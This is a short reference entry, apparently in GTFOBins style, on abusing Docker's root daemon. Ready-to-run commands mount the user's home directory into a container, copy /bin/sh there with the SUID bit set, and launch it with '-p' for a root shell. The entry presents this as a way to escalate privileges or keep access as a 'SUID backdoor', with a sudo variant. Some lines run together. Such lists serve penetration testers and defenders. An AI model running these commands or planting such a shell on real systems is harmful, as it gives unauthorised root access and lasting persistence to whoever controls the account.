Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the docker group. Any other Docker Linux image should work, e.g., debian.
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which docker) .; chmod +s ./docker'
./docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -pIt runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p